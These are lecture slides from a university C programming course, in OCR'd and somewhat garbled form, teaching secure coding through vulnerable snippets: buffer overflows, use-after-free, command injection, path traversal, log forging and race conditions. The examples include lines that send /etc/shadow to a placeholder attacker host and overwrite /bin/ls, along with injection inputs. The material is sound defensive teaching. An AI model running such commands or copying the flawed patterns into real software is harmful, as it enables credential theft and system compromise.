(In)Secure Coding in C

C Programming and Software Tools
N.C. State Department of Computer Science
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Why Worry?

e There are lots of threats: viruses, wormes,
phishing, botnets, denial of service, hacking, etc.

e How long would it take for an unprotected,
unpatched PC running an older version of
Windows to be hacked?

e The cost of prevention and repair is substantial

e The number of “bad guys” successfully caught
and prosecuted is low ®
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Goals of Attackers

e Crash your system, or your application, or
corrupt/delete your data

e Steal your private info
e Take control of your account, or your machine
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Whose Problem?
e OS writers?
e Application programmers?
e Users?
e Administrators?
e Law enforcement?
[omputer Science
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Some Categories of Problems

1. Programming errors
2. Failure to validate program inputs
3. Inadequate protection of secret info
4. False assumptions about the operating
environment
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Validating Inputs

Validate all inputs at the server; don’t rely on
clients having done so

Use white listing instead of black listing

Identify special (meta) characters and escape
them consistently during input validation

Use well-established, debugged library
functions to check for (a) legal URLs (b) legal
filenames/pathnames (c) legal UTF-8 strings, ...
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Plus...

* Be paranoid (question your assumptions)
e Stay informed of security risks

e Do thorough testing

e Always check bounds on array operations
e Minimize secrets, and access to secrets
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System “Resource Allocation”

e Reading any parameter from user and allocating
sufficient resources based on that input is risky
— running out of resources can crash the application, or
crash or freeze the system
e Examples of finite “resources”
— memory
— file descriptors
— stack space
— threads

[omputer Science
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Buffer Overflow

e C does not automatically do bounds checking on
buffers

e E.g., the following is legal:

void fFQO {
int a[10];
a[20] = 3;

3

Often, writing outside the bounds of an array
causes the program to fail
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Ex.: Buffer Problem
int main(int argc, char *argv[]) {
char passwd_ok = 0;
char passwd[8];
strcpy(passwd, argv[l]);
it (strcmp(passwd, "niklas')==0)
passwd_ok = 1;
if (passwd_ok) { --- }

}

e Layoutin memory: passwd passwd_ok

Iongpassﬂor 1

= passwd buffer overflowed, overwriting passwd_ ok flag

— Any password accepted! —Eumpmm’ SC]E"EE
€5€230: € and Software Tools © NC State Computer Science Faculty 10




Another Example

char buffer[100];
strcpy(buffer, argv[1]);

func(buffer);
buffer func
arbitraryqodgX

X~

— Overwrite function pointer

e Problems?

e Execute code arbitrary code in buffer [um [ﬁm S[:]E"[:E
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Stack Attacks

e When a function is called...
— parameters are pushed on stack
— return address pushed on stack
— called function puts local variables on the stack

e Memory layout

Locals Return address Parameters
quitrarybtufrxl |
* Problems?
— Return to address X which may execute arbitrary
code (omputer Scence

€5€230: C and Software Tools © NC State Computer Science Faculty i3 NC STATE UNIVERSITY




Risky C <string.h> Functions

e strcpy — use strncpy instead
e strcat — use strncat instead
e strcmp — use strncmp instead

e gets - use fgets instead, e.g.

char buf[BUFSIZE];
fgets(buf, BUFSIZE, stdin);

e More risks:
—scanf, sscanf (use %20s, for example)

—sprintf
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Protection Against Buffer Overflow

1. Replace “unsafe” function calls by safe
(bounds checking) counterparts (e.g., use
strncat())

2. Use a different (non-standard) library that
provides more protection than <string.h>
e e.g., some libraries add code to track array sizes
and check that bounds are not exceeded

3. Use a platform that provides protection
against buffer overflows / stack attacks

[omputer Science
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Find the Problem: Memory Freeing

char* ptr = (char *) malloc (SI1ZE);

1T (err) {
abort = 1;
free(ptr);
}

1T (abort)
logError(C’Aborted, contents = ", ptr);

® Problem? Result? Fix?

— Dereferenced a freed pointer
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Find the Problem: Memory Freeing

void T {
char * ptr = (char*)malloc (SIZE);
it (abort)
free(ptr);
free(ptr);
return ;

}
Problem? Result? Fix?

Double free, may crash the program - [ynuyigr Signce




Find the Problem: Memory

Allocation

char * getBlock(int fd) {
char * buf = (char *) malloc (S2);
it (1buf)
return NULL;
it (read(fd, buf, Sz) 1= SZ)
return NULL;

else
return buf;

3

e Problem? Result? Fix?
— Possible memory leak if the read fails
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Hackers Will Exploit Unlikely

Conditions

result = doSomething();

iIT (result == ERROR) {

/* this should never happen */

¥

char passwd[MAXPWLEN+1];
strncpy(passwd, argv[1l], MAXPWLEN);
#ifdef DEBUG

pwOK = 1;
#else

pwOK = checkPW(passwd);
#endif
if (pwOK)

.. do some protected stuff here ..
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Find the Problem: Copying Strings

#define MAXLEN 1024
char pathbuf[MAXLEN], inputbuf[MAXLEN];
fread(inputbuf, 1, MAXLEN, cfgfile);

strcpy(pathbuf, inputbuf);

e Problem? Result? Fix?
— fread does not null terminate the string
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Find the Problem: Buffers
int processNext(char * s) {
char buf[512];
short len = (short *) s;
s += sizeof(len);
if (len <= 512) {
memcpy(buf, s, len);
process(buf);
return O;
} else
return -1;
+
e Problem? Result? Fix? E i 3
. : Ompurer oc1ence
_—lenis signed, may be negative ——
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Find the Problem: Resource
Allocation

unsigned iInt nresp = getnresp();
if (nresp > 0) {
response =
(char **) malloc(nresp * sizeof(char *));
for (i = 0; 1 < nresp; I++)
response[i] = get _response_string();

¥
e Problem? Result? Fix?
— If value returned from getnresp is unchecked user
input, the user can request unbounded memory
[omputer Science
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Command Execution

* Programs can execute other programs:
fork(), execv(), system(), ..

e |f a privileged program can be made to execute
an arbitrary command string, no protections!

e Examples

system(*‘gcc /tmp/maliciouscode.c -o /bin/l1s™)

system(““ftp badguy@hideout.com /etc/shadow’)
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Command Execution (cont’d)

int main(char* argc, char** argv) {
char cmd[CMD_MAX] = "*/usr/bin/cat "
strcat(cmd, argv[1l]);
system(cmd) ;

+

e Problem? Result? Fix?

— If command line arg contains “;”, that will terminate
the cat command and begin another
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Ex.: Command Execution (cont’d)

Read environment variable

char * home = getenv("'APPHOME™);

char * cmd =

(char *) malloc(strlen(home)+strien(INITCMD));
if (emd) {

strcpy(cmd, home) ;

strcat(cmd, INITCMD) ;

execl(cmd, NULL);

}

e Problem? Result? Fix?
— Modifying environment variable can lead to execution of, rbitrTy Spde
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Find the Problem: Path Manipulation

char fname[200] = “/usr/local/apfr/reports/”;
char rName[100];

scanf(“%99s””, rName);

strcat(fname, rName);

remove(fname) ;

e Problems? Fixes?

— Input like
“../../tomcat/conf/server .xml” would
cause the application to delete one of it’s own
configuration files.

[omputer Science
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Logging
e Applications (should) use structured logs to
record...

— startup configuration of application
— important events

— error conditions

- etc.

e However, manipulating logs is a way to “sow
confusion”
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Find the Problem: Log Forging

char str[1000], errstr[2000];
res = scanf(“%999s”, &str);

if (Mvalid(str)) {
sprintf(errstr,

“Failed to parse string = %s”, str);
log(errstr);

* Problem? Result? Fix? .
[omputer Science
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Log Forging (cont’d)

e |f user enters string
twenty-one
the following entry is logged:
INFO: Failed to parse val=twenty-one
e However, if attacker enters string
twenty-one\nINFO: User logged in=badguy
the following entry is logged:

INFO: Failed to parse val=twenty-one
INFO: User logged in=badguy

e Attackers can insert arbitrary log entrlfs thi
umMmmm%
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Protecting Secrets

e |t can be difficult to protect “secret” information
ina program
— open source
— reverse engineering (disassembly) of binary code

— tools that allow inspection of memory (even of
running processes)

e What secrets need to be protected?

[omputer Science

€SC230: € and Software Tools © NC State Computer Science Faculty SRl NC STATE UNIVERSITY

Ex.: Random Numbers

e Some applications depend on unpredictability of
random numbers
— examples?

e Standard random number generators are
predictable if...
— you know the last value, and the random number

generation algorithm

e Solution: use cryptographically-secure random

number generators

— seed or combine with /dev/random, eﬁm'n[]uim SCiETIEE
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“Scrubbing” Memory
e |t's a good idea to remove sensitive data from
the program’s memory as soon as possible;
easy??
void getData(char *MFAddr) {
char pwd[64];

iIT (getPWDFromUser(pwd, sizeof(pwd))) {
.. do some stuff here, unimportant ..

}
memset(pwd, 0, sizeof(pwd));
3
What problems would use of an optimizing compiler
cause? Lomputer dcience
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“Scrubbing” Memory (cont’d)

cleartext_buffer = get_secret();

cleartext_buffer =
realloc(cleartext_buffer, 1024);

scrub_memory(cleartext_buffer, 1024);

e What does realloc() do? Problems? Fixes?

— Copy of the data can still be exposed in the memory
originally allocated for cleartext_buffer.
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Don’t Hardcode Passwords

char passwd[9];

(void) printf(“Enter password: “);

(void) scanf(“%8s”, passwd);

if (Istrcmp(passwd, “hotdog’)) {
.. do some protected stuff ..

}

> strings a.exe
Ce@o@
$0 @

Enter password:
hotdog

Temp Files

it (tmpnam(filename)){
FILE* tmp = fopen(filename,wb+');
. then write something to this file ..

e Problems? What if you could predict value of
filename? Fixes?

— You could create a symbolic link with the name to an
existing system file, allowing it to be overwritten

Lomputer dcience
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“Race” Conditions

e Programmer assumes steps (a) and (b) in the
code are executed sequentially, without
interruption

e Clever, persistent hacker finds a way to modify
something about the system between execution
of (a) and (b)

* One example: (a) Time of Check - (b) Time of Use
bugs (“TOCTOU”)

[omputer Science
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TOCTOU (“Time of Check, Time of Use”)

iT (laccess(Tfile,W_0OK)) { ()

T = fopen(file,"w+"); (b)

operate(f);
}
else {

fprintf(stderr,

"Unable to open file %s.\n",file);

}

e Problems? Fixes?
— Delete the file

[omputer Science
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